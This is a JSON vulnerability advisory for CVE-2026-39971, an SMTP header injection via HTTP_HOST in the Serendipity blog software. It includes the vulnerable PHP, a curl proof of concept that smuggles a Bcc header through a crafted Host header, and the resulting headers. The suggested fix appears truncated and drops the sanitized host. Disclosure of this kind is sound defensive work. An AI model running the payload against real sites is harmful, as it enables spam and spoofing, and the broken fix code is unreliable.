{"id":"CVE-2026-39971","aliases":["GHSA-458g-q4fh-mj6r"],"url":"https://o3.security/vulnerability/CVE-2026-39971","summary":"Serendipity: Host Header Injection leads to SMTP header injection via unvalidated HTTP_HOST","details":"### Summary\nSerendipity inserts `$_SERVER['HTTP_HOST']` directly into the `Message-ID` SMTP header without any validation beyond CRLF stripping. An attacker who can control the `Host` header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.\n\n### Details\nIn `include/functions.inc.php:548`:\n```php\n$maildata['headers'][] = 'Message-ID: <' \n    . bin2hex(random_bytes(16)) \n    . '@' . $_SERVER['HTTP_HOST']  // ← unsanitized, attacker-controlled\n    . '>';\n```\n\nThe existing sanitization function only blocks `\\r\\n` and URL-encoded variants:\n```php\nfunction serendipity_isResponseClean($d) {\n    return (strpos($d, \"\\r\") === false && strpos($d, \"\\n\") === false \n        && stripos($d, \"%0A\") === false && stripos($d, \"%0D\") === false);\n}\n```\n\nCritically, `serendipity_isResponseClean()` is **not even called** on `HTTP_HOST` before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.\n\nEmail is triggered by actions such as:\n- New comment notifications to blog owner\n- Comment subscription notifications to subscribers\n- Password reset emails (if configured)\n\n### PoC\n```bash\n# Trigger comment notification email with injected header\ncurl -s -X POST \\\n  -H \"Host: attacker.com>\\r\\nBcc: victim@evil.com\\r\\nX-Injected:\" \\\n  -d \"serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&serendipity[entry_id]=1\" \\\n  http://[TARGET]/comment.php\n```\nResulting malicious `Message-ID` header in outgoing email:\n```\nMessage-ID: <deadbeef@attacker.com>\nBcc: victim@evil.com\nX-Injected: >\n```\n\n### Impact\nAn attacker can control the domain portion of the `Message-ID` header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). \nThis enables:\n- **Identity spoofing** — emails appear to originate from attacker-controlled domain\n- **Reply hijacking** — some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure\n- **Email reputation abuse** — attacker's domain embedded in legitimate mail headers\n### Suggested Fix\nSanitize `HTTP_HOST` before embedding in mail headers, and restrict to valid hostname characters only:\n```php\n$safe_host = preg_replace('/[^a-zA-Z0-9.\\-]/', '', \n    parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST)\n);\n$maildata['headers'][] = 'Message-ID: ';\n```","published":"2026-04-14T23:35:49.305Z","modified":"2026-08-12T03:51:45.383078601Z","cvss":{"score":7.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"},"epss":{"score":0.00255,"percentile":0.17086,"asOf":"2026-08-12"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"s9y/serendipity","fixedVersion":"2.6.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/s9y/Serendipity/releases/tag/2.6.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/39xxx/CVE-2026-39971.json"},{"type":"ADVISORY","url":"https://github.com/s9y/Serendipity/security/advisories/GHSA-458g-q4fh-mj6r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39971"},{"type":"PACKAGE","url":"https://github.com/s9y/Serendipity"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:45.383078601Z"}}